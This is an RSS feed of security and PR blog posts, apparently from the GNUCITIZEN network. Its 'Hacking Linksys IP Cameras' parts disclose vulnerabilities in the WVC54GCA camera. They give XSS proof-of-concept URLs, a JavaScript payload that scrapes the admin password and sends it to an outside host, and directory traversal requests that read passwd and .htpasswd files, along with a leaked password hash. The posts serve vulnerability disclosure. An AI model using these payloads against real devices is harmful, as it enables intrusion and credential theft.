<p><em>So, don&#8217;t get into trouble for the wrong reasons. If you are young and you need advice what to do with your career, contact us or contact any one who has been into this industry long enough to give you a good and sensible advice. Just don&#8217;t jump onto the <q>No free bugs!</q> bandwagon.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/rELeF2i51BY" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Jeriko Group and Source Code Repository</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/TtNVvmtSyEM/</link>
         <description>Jeriko moved in its own source code repository which you will be able to find here. There is also a discussion group here, if you feel like using it.

The version inside the new code repository is very different from the version you&amp;#8217;ve seen before. The main difference is that while the old version is basically a collection of scripts, the new version implements its own shell (wrapper around bash) which does the heavily lifting and also introduces some funky programming mechanisms. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3130</guid>
         <pubDate>Tue, 28 Apr 2009 06:50:39 +0000</pubDate>
         <content:encoded><![CDATA[<p>Jeriko moved in its own source code repository which you will be able to find <a rel="nofollow" target="_blank" href="http://code.google.com/p/jeriko/">here</a>. There is also a discussion group <a rel="nofollow" target="_blank" href="http://groups.google.com/group/Jeriko">here</a>, if you feel like using it.</p>

<p>The version inside the new code repository is very different from the version you&#8217;ve seen before. The main difference is that while the old version is basically a collection of scripts, the new version implements its own shell (wrapper around bash) which does the heavily lifting and also introduces some funky programming mechanisms. For example, now you can create jeriko scripts like this:</p>

<pre><code>#/usr/bin/env jeriko
# do my jeriko commands here
foreach-input | add-targets
generate-scan-batch | run-in-parallel</code></pre>

<p>This is perhaps the simplest possible script you can write but you see that the jeriko shell could turn into a quite powerful feature. The shell is also a good starting point for many penetration testing jobs as it does some environment checking and preconfigures some defaults for you. The other good news is that you don&#8217;t have to learn a new programming language. Your bash skills are good for jeriko too.</p>

<p><em>Just keep in mind that jeriko is merely an experiment. However, I realize that it has already become quite useful for some people. So, if you enjoy playing with bash scripts, and you you feel adventurous, please join us and make this project happen.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/TtNVvmtSyEM" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Hacking Linksys IP Cameras (pt 4)</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/MLCS3DSstF8/</link>
         <description>This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2), Hacking Linksys IP Cameras (pt 3).

There are two types of vulnerabilities I will be releasing today: disclosure of credentials in client-side source code and multiple XSS. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3070</guid>
         <pubDate>Sat, 25 Apr 2009 03:28:38 +0000</pubDate>
         <content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">Hacking Linksys IP Cameras (pt 2)</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">Hacking Linksys IP Cameras (pt 3)</a>.</em></p>

<p>There are two types of vulnerabilities I will be releasing today: disclosure of credentials in client-side source code and multiple XSS.</p>

<h3>Disclosure of Credentials in Client-side Source Code</h3>

<p>As a consumer of embedded products, I find highly frustrating to see how many devices&#8217; web interfaces return passwords back to the browser within HTML source code. I&#8217;ve also seen similar problems in some corporate appliances, but is not such as common problem within the enterprise realm.</p>

<p>Visiting the change admin password page:</p>

<pre><code>/adm/file.cgi?next_file=pass_wd.htm</code></pre>

<p>Causes the current admin password to be returned (just view the source code with your browser):</p>

<pre><code>&lt;input type=&quot;password&quot; size=&quot;8&quot; maxlength=&quot;64&quot; name=&quot;admpw&quot; value=&quot;<strong>C4mP4ssw0rd</strong>&quot; onKeyDown=&quot;chkPsize(this.value.length,64,msg_bigpw)&quot;&gt;</pre></code>

<p>Visiting the "Wireless Security Page":</p>

<pre><code>/adm/file.cgi?next_file=Wsecurity.htm</code></pre>

<p>Causes the Wi-Fi WEP/WPA/WPA2 encryption key to be returned to the browser:</p>

<pre><code>&lt;input type=&quot;text&quot; name=&quot;psk&quot; size=&quot;24&quot; maxlength=&quot;63&quot; value=&quot;<strong>mywirelesskey</strong>&quot;&gt;</code></pre>

<p>Obviously this is bad news, as it means that every time the aforementioned pages are visited, credentials travel the clear (the WVC54GCA IP camera doesn't have SSL/TLS support).</p>

<p>Now, I know there are people out there who might find these types of issues not worth fixing. The following is the thinking behind their reasoning.</p>

<p>In the case of the admin password disclosure, some people would argue that this issue wouldn't make a difference security-wise, since the camera uses <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Basic_access_authentication">basic authentication</a> which transmits credentials in the clear (base64 encoding) anyway.</p>

<p>In the case of the wireless encryption key disclosure, some individuals point out that if you can sniff the Wi-Fi encryption key, it means that either 1) you're already part of the wireless network which means you must already know the key, or 2) you are part of the network via an ethernet connection which means that you don't need the wireless key at all.</p>

<p>So why fix these issues then? Well, think of client-side attacks for instance. If you keep reading I'll show you how you can (for instance) use XSS to steal the admin password from the aforementioned page. If the admin password wasn't returned by the web interface, this attack would not be possible, despite basic authentication being used by the camera.</p>

<h3>Several XSS bugs</h3>

<p>Yes, XSS is the roach of the Internet, it's everywhere and we can't seem to be able to get rid of it! Of course, Linksys IP cameras are no exception. Finding XSS vulns requires virtually no skills (unless you are trying to bypass a strict filter logic). Also, hunting for XSS vulns can be kind of boring. As pdp usually says, "it's not finding XSS bugs which is interesting, but what you can do with it". I couldn't agree more.</p>

<p>Boring PoCs:</p>
<pre><code>/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E</code></pre>
<pre><code>/img/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E</code></pre>
<pre><code>/adm/file.cgi?next_file=%3Cscript%3Ealert(1)%3C/script%3E</code></pre>
<pre><code>/adm/file.cgi?todo=xss&#038;this_file=%3cscript%3ealert(1)%3c/script%3e</pre></code>

<p>XSS bug #1 works regardless of the authentication state of the victim user. The rest do require the victim user to be logged-in for the injected JS to run within the context of the camera's domain sandbox.</p>

<p>As you can see in the first two XSS vulns, we use <code>img</code> tags, rather then <code>script</code> tags, due to closing <code>script</code> tags being filtered. Once again, the developers have chosen to perform filtering against some parameters, albeit poor filtering.</p>

<h4>Admin Password theft XSS PoC</h4>

<p>The following is the PoC exploit which steals the admin user's password.</p>

<pre><code>// <strong>evil.js</strong> : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest &amp;&amp; !(window.ActiveXObject)) {
    		try {	
			req = new XMLHttpRequest();
        	} 
		catch(e) {
			req = false;
        	}
    	} 
    	// branch for IE/Windows ActiveX version	
	else if(window.ActiveXObject) {
       		try { 
        		req = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);
      		} 
		catch(e)  {
        		try {
          			req = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);
        		} 
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open(&quot;GET&quot;, url, true);
		req.send(&quot;&quot;);
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows &quot;loaded&quot;
    	if (req.readyState == 4) {
        	// only if &quot;OK&quot;
        	if (req.status == 200) { 
			// dirty credentials-scraping code
			var bits=req.responseText.split(/&#92;&quot;/);	
			var gems=&quot;&quot;;
			for (i=0;i&lt;bits.length;++i) { 
                                if(bits[i]==&quot;adm&quot; &amp;&amp; bits[i+1]==&quot; value=&quot;) {      
                               		gems+=&quot;login=&quot;; 
					gems+=bits[i+2];
                                }
                                if(bits[i]==&quot;admpw&quot; &amp;&amp; bits[i+1]==&quot; value=&quot;) {      
                                       	gems+=&apos;&amp;password=&apos;; 
					gems+=bits[i+2];    
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src=&apos;http://google.com/x.php?&apos;+gems; // URL should point to data-theft script on attacker&apos;s site
        	} 
    	}
}

var url=&quot;/adm/file.cgi?next_file=pass_wd.htm&quot;;
loadXMLDoc(url);</code></pre>

<pre><code>http://192.168.1.115/adm/file.cgi?next_file=%3cscript%20src=http://evil.foo/<strong>evil.js</strong>%3e%3c/script%3e</code></pre>

<p>If you capture the traffic while testing the exploit against yourself you will see the admin login and password being sent to google.com:</p>

<div class="screen"><img src="http://www.gnucitizen.org/static/blog/2009/04/screenshot-eth1-capturing-wireshark1.png" alt="Screenshot eth1 Capturing Wireshark 1" title="Screenshot eth1 Capturing Wireshark 1" width="505" height="189" class="alignnone size-full wp-image-3100"/></div>

<h4>Attack Requirements</h4>

<p>In order for this exploit to work, the camera admin user must be logged in when the attack occurs. This means that a bit of social engineering is required. For instance, the attacker could setup a forum to help users of the WVC54GCA camera by providing tips, FAQs, etc. If the attacker is serious he could use <a rel="nofollow" target="_blank" href="http://www.timesonline.co.uk/tol/driving/article754974.ece">black hat SEO</a> and ad campaigns such as Google AdWords to attract Linksys camera users to visit the site containing the malicious XSS URLs. You get the idea!</p>

<h3>Testing Info</h3>

<p>All Disclosure of Credentials and XSS vulnerabilities successfully tested on:</p>
<ul>
<li>WVC54GCA</li>
<li>Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)</li>
</ul><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/MLCS3DSstF8" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Hacking Linksys IP Cameras (pt 3)</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/naGW6csyQ94/</link>
         <description>This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2).

Unlike the previous two vulnerabilities I released, the vulnerabilities I&amp;#8217;m releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3019</guid>
         <pubDate>Thu, 23 Apr 2009 00:52:28 +0000</pubDate>
         <content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">Hacking Linksys IP Cameras (pt 2)</a>.</em></p>

<p>Unlike the <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">previous</a> <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">two</a> vulnerabilities I released, the vulnerabilities I&#8217;m releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. Nevertheless, these vulnerabilities might be useful for users who want to hack their Linksys IP cameras for modding purposes, rather than being used by an attacker aiming to crack into someone else&#8217;s camera.</p>

<h3>Two directory traversal vulnerabilities</h3>

<p>Today, instead of releasing just one vulnerability I&#8217;ll be releasing two! These two vulnerabilities have helped me understand more about how the WVC54GCA wireless camera internals and I&#8217;m hoping they will also work on other Linksys camera models. Please let me know if you successfully test them on other models too!</p>

<p>Both vulnerabilities are of type directory traversal, aka arbitrary file retrieval, and they both affect the same CGI program: <code>/adm/file.cgi</code>. Please note that these vulnerabilities are different to <a rel="nofollow" target="_blank" href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2507">CVE-2004-2507</a>/<a rel="nofollow" target="_blank" href="http://www.securityfocus.com/bid/10476/exploit">BID 10476</a> which affected <code>/main.cgi</code> instead.</p>

<h4>1st directory traversal hole</h4>

<p>It seems that the <code>next_file</code> parameter is not filtered enough when submitted to <code>/adm/file.cgi</code>, so that either of the following requests will return the content of any file whose location is known (<code>/etc/passwd</code> in this case):</p>

<pre><code>/adm/file.cgi?next_file=%2fetc%2fpasswd</code></pre>
<pre><code>/adm/file.cgi?next_file=%2fetc/passwd</code></pre>
<pre><code>/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd</code></pre>

<h4>2nd directory traversal hole</h4>

<p>In the case of the second directory traversal hole, the vulnerable parameter (<code>this_file</code>) is not filtered at all whatsoever. So hex-encoding special symbols is <em>not</em> required:</p>

<pre><code>/adm/file.cgi?todo=pwnage&#038;this_file=/etc/passwd</code></pre>

<p>The following is the content of the Linux <code>passwd</code> file containing the encrypted root password. Remember that the WVC54GCA comes with BusyBox Linux by default which you can confirm by opening <code>bin/busybox</code> with any of the vulnerabilities previously discussed. I&#8217;m curious to know if the <code>passwd</code> file contains the same password on all cameras of the same model, or even if Linksys is also using the same password on other models:</p>

<pre><code>root:9szj4G6pgOGeA:0:0:root:/root:/bin/sh</code></pre>

<p>Notice that when exploiting the first vulnerability, we need to convert forward slashes to <code>%2f</code> which is its hex-encoding equivalent. This is because the developer (poorly) attempted to filter directory traversal sequences when data is submitted via the <code>next_file</code> parameter. In the third example, we also partially hex-encode <code>../</code> sequences in order to avoid being blocked by the script which results in a forbidden error.</p>

<p>Needless to say, if the root password is not too strong you should be able to crack it using <a rel="nofollow" target="_blank" href="http://www.openwall.com/john/">john</a> or you favorite password cracking tool. I loaded passwd with john for a few hours on an old laptop and nothing was found, so I&#8217;m guessing the root password is not extremely weak. If you model comes with the telnet daemon running by default, cracking that password should give you root shell access.</p>

<p>Unfortunately, as I mentioned in the <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">first post</a> of these series, the WVC54GCA camera comes with a telnet daemon included, but it&#8217;s off by default. I haven&#8217;t managed to enable the telnet daemon and get a remote root shell yet although I suspect it might be possible by <a rel="nofollow" target="_blank" href="http://brooknet.no-ip.com/~lex/public/WVC54G/">modifying</a> the bin firmware image and uploading it again.</p>

<h4>What can we do with these vulnerabilities?</h4>

<p>Well, I tried finding files that contain interesting information that helps you understand the camera better. The following are some examples:</p>

<ul>
<li><code>/etc/passwd</code> : traditional-DES-format password file with no salt</li>
<li><code>/usr/local/www/img/.htpasswd</code> : HTTP credentials stored in cleartext</li>
<li><code>/usr/local/www/adm/.htpasswd</code> : contains same data as previous file</li>
<li><code>/etc/system.conf</code> : all camera settings stored in cleartext including admin password, wifi encryption key, etc &#8230;</li>
<li><code>/usr/local/bin/thttpd.conf</code> : web server config file confirming the daemon runs as root, which is the only system account present anyway</li>
<li><code>/etc/init.d/rcS</code>  :  here we see the line that starts the telnet daemon (<code>/usr/sbin/telnetd</code>) commented out</li>
<li><code>/etc/def_sys.conf</code> : camera&#8217;s default settings</li>
<li><code>/etc/system.conf</code> : camera&#8217;s current settings</li>
<li><code>/var/nc.log</code> : network connections logs</li>
<li><code>/etc/group</code></li>
<li><code>/etc/inittab</code></li>
<li><code>/proc/cpuinfo</code> : processor details</li>
<li><code>/proc/meminfo</code></li>
<li><code>/proc/version</code> : OS details</li>
<li><code>/proc/uptime</code></li>
</ul>

<p>Finding a file upload vulnerability should allow us to overwrite the <code>/etc/init.d/rcS</code> file and eventually manage to start the telnet server after reboot. By overwriting the <code>/etc/passwd</code> file with our own we should be able to add our own root password. Unfortunately, I haven&#8217;t discovered any vulnerability that would allow me to upload files to arbirary locations. If you do discover one, please let me know. I&#8217;d love to hear the details.</p>

<h3>Testing Info</h3>

<p>Directory traversal vuln #1 successfully tested on:</p>
<p><ul>
<li>WVC54GCA</li>
<li>Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)</li>
</ul>

<p>Directory traversal vuln #2 successfully tested on:</p>
<p><ul>
<li>WVC54GCA</li>
<li>V1.00R24 (latest available as on 23rd April 2009)</li>
</ul>
<p>Although I never tested the second traversal vulnerability on Firmware V1.00R22, I definitely suspect it will work on this previous firmware version as well.</p>
<p><em>Please note that the aforementioned vulnerabilities are different to <a rel="nofollow" target="_blank" href="http://www.securityfocus.com/bid/10476/exploit">BID 10476</a> which affected the <code>/main.cgi</code> program rather than <code>/adm/file.cgi</code>.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/naGW6csyQ94" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Hacking Linksys IP Cameras (pt 2)</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/PJt6KPz8WQ0/</link>
         <description>This article is a continuation of the following GNUCITIZEN article, which includes an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1).

Privilege escalation via arbitrary file retrieval

The second vulnerability I&amp;#8217;ll be releasing is an arbitrary(ish) file retrieval vulnerability. It&amp;#8217;s not fully arbitrary because you can only retrieve the contents of files located within the same directory where the vulnerable CGI program is located. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=2978</guid>
         <pubDate>Mon, 20 Apr 2009 22:27:14 +0000</pubDate>
         <content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN article, which includes an introduction to the topic and also some initial observations: <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a>.</em></p>

<h3>Privilege escalation via arbitrary file retrieval</h3>

<p>The second vulnerability I&#8217;ll be releasing is an arbitrary(ish) file retrieval vulnerability. It&#8217;s not fully arbitrary because you can only retrieve the contents of files located within the same directory where the vulnerable CGI program is located. However, this is enough to allow a neat privilege escalation vector where a restricted user that only has permissions to view the video stream, can gain access to the <code>admin</code> account password.</p>

<p>The problem lies within the <code>next_file</code> parameter which is submitted to the <code>main.cgi</code> program. Although <code>main.cgi</code> <em>does</em> filter characters typically used in directory traversal sequences such as dots (<code>.</code>) and forward slashes (<code>/</code>), it seems that the developer didn&#8217;t consider that retrieving the contents of files within the current directory could create a security hole. By simply retrieving the contents of <code>.htpasswd</code> a restricted user which only has permissions to access the video stream can access the credentials of the <code>admin</code> account and also the credentials of other restricted users (if applicable).</p>

<p>The only restriction that needs to be bypassed, is dots (<code>.</code>) symbols being filtered. i.e.: the following will <em>not</em> work and will result in a forbidden error:</p>

<pre><code>/img/main.cgi?next_file=.htpasswd</code></pre>

<p>But replacing the dot (<code>.</code>) symbol with its hexadecimal equivalent:</p>

<pre><code>/img/main.cgi?next_file=%2ehtpasswd</code></pre>

<p>Will result in the contents of <code>.htpasswd</code> being returned. i.e.:</p>

<pre><code>admin:adminpassw0rd user1:pass1 user2:pass2</code></pre>

<p>Like most IP cameras, the Linksys WVC54GCA allows administrators to grant access to the video stream to selected users only (rather than anonymous users who don&#8217;t need to authenticate). In this case, the admin user can click on the <code>Users</code> menu and tick the <code>Only users in database</code> option (please see screenshot below). After this, all that is needed is to add a username/password pair for the account to grant video-viewing access to:</p>

<div class="screen"><img src="http://www.gnucitizen.org/static/blog/2009/04/video_user_accounts.png" alt="Video User Accounts" title="Video User Accounts" width="489" height="227" class="alignnone size-full wp-image-2990"/></div>

<p>Well, the feature discussed above can be rendered useless by exploiting the vulnerability I have described, since it allows restricted users to retrieve the admin password.</p>

<h3>Testing Info</h3>

<p>Successfully tested on:</p>
<p><ul>
<li>WVC54GCA</li>
<li>Firmware V1.00R22 and V1.00R24 (latest available as on 20th April 2009)</li>
</ul>

<p><em>Please note that this vulnerability is different to <a rel="nofollow" target="_blank" href="http://www.securityfocus.com/bid/10476/exploit">BID 10476</a> which affected the <code>/main.cgi</code> program rather than <code>/img/main.cgi</code>.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/PJt6KPz8WQ0" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Miss “Accountable” 2008</title>
         <link>http://www.spinhunters.org/blog/miss-accountable-2008/</link>
         <description>The beauty award this year goes to the International Federation of Organic Agriculture Movements (IFOAM), followed by the European Bank of Reconstruction and Development and Unicef. The lowest reputation scores, however, were received by International Olympic Committee and NATO. Not surprising at all ! [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=174</guid>
         <pubDate>Fri, 12 Dec 2008 20:23:39 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/xjy/51519638/"><img class="initial-capital" src="http://farm1.static.flickr.com/29/51519638_6b899a7d1c_m.jpg?v=0" alt="051003 storting crown prince's crown"/></a>

<p>The beauty award this year goes to the <a rel="nofollow" target="_blank" href="http://www.ifoam.org/">International Federation of Organic Agriculture Movements (IFOAM)</a>, followed by the <a rel="nofollow" target="_blank" href="http://www.ebrd.com/">European Bank of Reconstruction and Development</a> and <a rel="nofollow" target="_blank" href="http://www.unicef.org.uk/">Unicef</a>. The lowest reputation scores, however, were received by International Olympic Committee and NATO. Not surprising at all ! You should not expect that  military and sport organizations would have been ranked higher than that, especially when their image is closely related to the general image of the services they offer and the image the places where their headquartered are based. Being accountable is also a tough task for most corporations as they fail to deploy effective policies and active management systems.</p>

<p><strong>The Contest:</strong> According to the latest survey of <a rel="nofollow" target="_blank" href="http://www.oneworldtrust.org/">One World Trust</a> (a British Think Tank), the IFOAM, along with 29 other powerful organizations, have been assessed in terms of their accountability to stakeholders and wider public. The scope of the research was based on the assessment of four major criteria such as transparency, participation with outsiders, evaluation and complains handling. Turns out that none of the companies actually managed to score higher than 70 percent accountability which is very low and insufficient result. The official report also states:</p>

<blockquote>A score of 70 percent indicates that an organisation has policies in place that meet only some good practice principles and the basic management systems to support their implementation.  This is the floor, not the ceiling, of accountability capabilities. If global organisations are to be part of the solution to global challenges, there needs to be a step change in their approaches to accountability.  They need to start implementing the more challenging accountability reforms which truly empower external stakeholders to hold an organisation to account. Organisations must also take the necessary steps to embed accountability in their culture and ensure it is being translated into practice.</blockquote>

<p>The other interesting conclusion that has been made is that all of the evaluated companies failed to show good scores (more than 50 percent) in their transparency policies and complaint handling procedures.  It is funny that <a rel="nofollow" target="_blank" href="http://www.transparency.org/">Transparency International</a> (a global organization that tries to fight corruption) takes one of the lowest positions in this chart. Why is this so important? Well, from a Black PR perspective, these are pretty severe vulnerabilities. If an attacker manage to hack into the corporate complaint tracking software and steals all of the important data, he can easily turn that into a massive negative campaign. The affected organization will be not only caught into a very awkward situation, but it will be unable to respond properly to the increasing flow of stakeholders complaints. This also leads to intense media attention and general public dissatisfaction.</p>

<p>One more thing &#8211; I did a little research on my own and I found out that the Google Page Ranks of the less accountable organizations is way higher than the the Page Rank of the organizations on the top of the list. However, if you type their name and the word <q>reputation</q> into the search box, you will find that the first couple of pages are filled with negative publications and comments . I guess popularity is not always proportionally related to the general stakeholders&#8217; respect.</p><p>---<br/>recent posts from the gnucitizen <a rel="nofollow" target="_blank" href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Crisis Communication Is Like …Surfing</title>
         <link>http://www.spinhunters.org/blog/crisis-communication-is-like-surfing/</link>
         <description>I don&amp;#8217;t know about you but today I have started writing my New Year&amp;#8217;s Resolution List. One of the things I am eager to do next year is to learn how to surf. It&amp;#8217;s cool, risky and very challenging. What I like most about it is the sense of uncertainty and the way you need to survive with a minimum set of resources.

Surfin is like crisis management, don&amp;#8217;t you think? [...]</description>
         <guid isPermaLink="false">https://www.spinhunters.org/?p=169</guid>
         <pubDate>Wed, 10 Dec 2008 19:57:31 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://flickr.com/photos/hell_silva/964565773/"><img class="initial-capital" src="http://farm2.static.flickr.com/1430/964565773_44fcb87572_m.jpg?v=0" alt="too much surf in your head?"/></a>

<p>I don&#8217;t know about you but today I have started writing my New Year&#8217;s Resolution List. One of the things I am eager to do next year is to learn how to surf. It&#8217;s cool, risky and very challenging. What I like most about it is the sense of uncertainty and the way you need to survive with a minimum set of resources.</p>

<p>Surfin is like crisis management, don&#8217;t you think? If you actually compare some of the basic tutorials in both disciplines, you will probably find a lots of similarities. So, once you master the ability to stay upright on the board, you can easily gain a confidence for dealing with some of the most severe crisis in the corporate world.</p>

<h3>How to Start</h3>

<p>When a crisis occurs, the first thing to consider is finding the balance point. Use your company&#8217;s strengths and all those positive qualities that cannot be doubted by the others. This will help you to balance out all the negative publications and unfair accusations. For example, if your organization is being socially responsible and undertakes many charitable events, this actually can help to save your stakeholders&#8217; trust and turn the crisis into unexpected corporate profit.</p>

<p>The second crucial habit that must be developed is the ability to respond as quickly as possible to the changing environment. The speed is absolutely everything for both surfing and crisis management. It gives you not only a competitive edge, but also the power to predict every negative outcomes. At the same time, do not forget to keep it low once you get the situation back in control.  In almost every zoology book it is stated that the most dangerous moments for the target is right after its escape form the predator.  So if you keep looking at your feet, you will definitely fall down again. Instead, you should &#8220;cover the back of your head&#8221; and protect all your vital assets from further damages. Stay &#8220;under the water&#8221; as long as you can, but never lose the honesty in your conversations.</p>

